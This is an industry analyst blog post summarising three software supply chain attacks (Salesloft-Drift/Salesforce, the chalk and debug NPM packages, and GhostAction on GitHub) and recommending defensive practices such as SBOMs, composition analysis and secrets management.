Software supply chain attacks continue to be a top external attack vector for attackers to breach enterprises, government agencies, and even personal cryptocurrency wallets. Three recently revealed attacks are a reminder of how attackers probe for any weakness in a supply chain, including smaller entities, to target larger enterprises. Learn from these attacks to strengthen your supply chains or expose yourself to the same.
Salesloft-Salesforce
The Salesloft-Salesforce breach is the most sophisticated and has had the biggest impact. In this attack, threat actors compromised Salesloft’s Drift customers and Salesforce customer accounts. Over 700 companies have been affected.
The software supply chain weakness. The breach originated with attackers accessing the Salesloft GitHub account and code repositories. Attackers then accessed the Drift AWS environment. From AWS, attackers obtained authorization tokens for Drift customers’ technology integrations, including Salesforce, which were in turn used to exfiltrate data from Salesforce customer environments. Separately, attackers utilized other Drift integrations to compromise other enterprises. Forrester’s more comprehensive breakdown is here.
What the attackers did. The attackers accessed sensitive data from numerous accounts, including well-respected cybersecurity vendors such as CyberArk, Proofpoint, Tenable, and Zscaler. The exposed customer-sensitive data included IP addresses, account information, access tokens, customer contact data, and business records such as sales pipeline. The attackers exploited cleartext storage of sensitive information within Salesforce support case notes, which were intended to facilitate customer support but provided critical data for hackers.
The impact. The attack showed that attackers can pivot from one application (Drift) into other integrations such as Salesforce, accessing customer environments and making this a third- and fourth-tier supply chain attack.
Chalk And Debug
“chalk and debug” was named after two of the 18 open-source Node Package Manager (NPM) packages that were compromised on September 8.
The supply chain weakness. The attackers started with a targeted phishing campaign to open-source maintainers of popular NPM packages to steal credentials. The attackers used the stolen credentials to lock out developers from their NPM accounts and publish new versions of the popular packages with malicious code embedded. Josh Junon (NPM account name “qix”), one of the compromised maintainers, posted to social messaging sites that he had been hacked and had reached out to NPM maintainers to assist in rectifying the issue. The malware itself was a browser-based interceptor that captures and alters network traffic and browser app functions by injecting itself into key processes, such as data-fetching functions and wallet interfaces, to manipulate requests and responses. The attackers did a good job of disguising the payment details, redirecting to an attacker-controlled destination. To the user, it appears that the crypto transaction was completed successfully until the user realizes that the crypto did not reach the intended location.
What the attackers did. The attackers went through the trouble to obfuscate the malicious code. In addition, the social engineering aspect of the incident was convincing. The email from “[email protected]” asked the developer to reset their two-factor authentication (2FA) credentials. The link in the email redirected to what appeared to be a legit NPM website. Unknowingly, the developer provided their legitimate credentials to the attacker-owned site and would not realize the compromise until they tried to login back into their NPM account. The researchers at JFrog, a security company, noticed that other maintainers had also been victim to the same phishing campaign and that additional NPM packages were compromised and began notifying maintainers.
The impact. Overall, 2.5 million compromised package versions have been downloaded. Researchers at Arkham, a blockchain analytics platform, were able to trace the crypto transactions in the attackers’ wallet, which, as of this past Thursday morning, was only at $1,048.36. The window between the NPM account compromise, the maintainer realizing that they were impacted, and the online reporting by cybersecurity research teams was short, which helped to mitigate the overall attack. In addition, the attackers compromised multiple packages and maintainers, which was unlikely to go unnoticed. Also, thankfully, the malware required that a crypto transaction be initiated in the user’s browser versus just collecting more information that could have been used to move laterally within an organization for a bigger payday.
GhostAction Campaign
In the “GhostAction” campaign, over 3,325 secrets were stolen across 817 GitHub repositories, affecting 327 users.
The software supply chain weakness. Attackers were able to push what appeared to be an innocuous commit titled “Add GitHub Actions Security workflow” to GitHub repositories both public and private. When the GitHub action was triggered, secrets were exfiltrated and sent to an attacker-controlled domain.
What the attackers did. Attackers did their homework. They reviewed repositories to see what secrets were in use and only exfiltrated the most impactful ones to stay under the radar. How attackers were able to access GitHub user accounts was not disclosed. Possibly, users fell prey to a social engineering campaign, as was the case in the chalk and debug campaign, or perhaps user credentials or tokens were stolen or leaked online. Another possible scenario is that the GitHub user account may not have been using 2FA and was reusing a password or subject to credential stuffing. This is unlikely, however, as GiHub enforces 2FA on GitHub.com for most contributing users.
The impact. A potpourri of secrets was exfiltrated, including Docker Hub credentials, GitHub personal access tokens, AWS access keys, NPM tokens, and database credentials. According to GitGurdian, which initially reported the attack, secrets were being actively exploited. The good news is that no open-source packages appeared to be compromised, but several NPM and PyPI projects were deemed at risk.
Take Action Now To Secure Your Software Supply Chain
These attacks prove that all software utilized by your organization, even software as a service, is a security risk. Maintainers of popular open-source packages, compromised GitHub user accounts, and malicious code in open-source packages are just the latest examples of software supply chain weaknesses. Don’t wait for the next attack. Instead:
Get visibility into your software supply chain. Before you can secure the software supply chain, you first need to have an understanding of what components make up the supply chain. IT asset management and software asset management systems are good places to start understanding your software landscape. This includes all software used in the development process, including tools and plugins such as IDEs, source code management systems, build tools, and CI/CD pipelines. For any software you purchase, demand proof of security best practices, including a software bill of materials (SBOM). Monitor SBOMs to track dependency relationships, license changes, end-of-life libraries, and newly disclosed vulnerabilities.
Select secure third-party dependencies. Only allow approved secure and healthy open-source and third-party components to be used or downloaded by utilizing a software composition analysis (SCA). Automate SCA to run on pull requests, builds, artifact repositories, and in the CI pipeline, and scan both source code and artifacts. In addition, set policies to stay current on libraries but also allow for “simmer” time. For example, wait two weeks from when the latest package is published before upgrading to that version. Utilize a dependency firewall to block or quarantine suspicious packages.
Protect software development pipelines. Apply Zero Trust principles to pipelines with phishing-resistant multifactor authentication, scans for misconfigurations, branch protection that enforces code reviews, encryption for sensitive data, and scans for secrets, and regularly audit repository access permissions. Utilize a secrets manager that provides just-in-time credentials, granular access policies to narrowly scope credentials, and alerts on suspicious activity.
Create an enterprise open source software strategy. Open source software (OSS) is a great accelerator for innovation and can even help with developer hiring and retention, but there are security, operational, and legal considerations. Therefore, ensure that your organization has an OSS strategy. This must include engaging your legal team to identify the OSS licenses that meet your business risk appetite. Create a plan for your development teams to contribute back to the open-source projects, such as running security testing and remediating vulnerabilities. This increases the security posture of the open-source project and gives an early warning to any issues.
Software supply chain breaches can have significant consequences, including the loss of customer trust, harm to brand reputation, legal action, decreased revenue, and increased insurance costs. But these risks are avoidable. Take proactive steps by clearly defining and acting on your responsibilities, insisting on transparency, and integrating security measures throughout every phase of the lifecycle.
Want to dive deeper into securing your software supply chain? Read The Future Of Software Supply Chain Security and schedule a guidance session or inquiry with me.
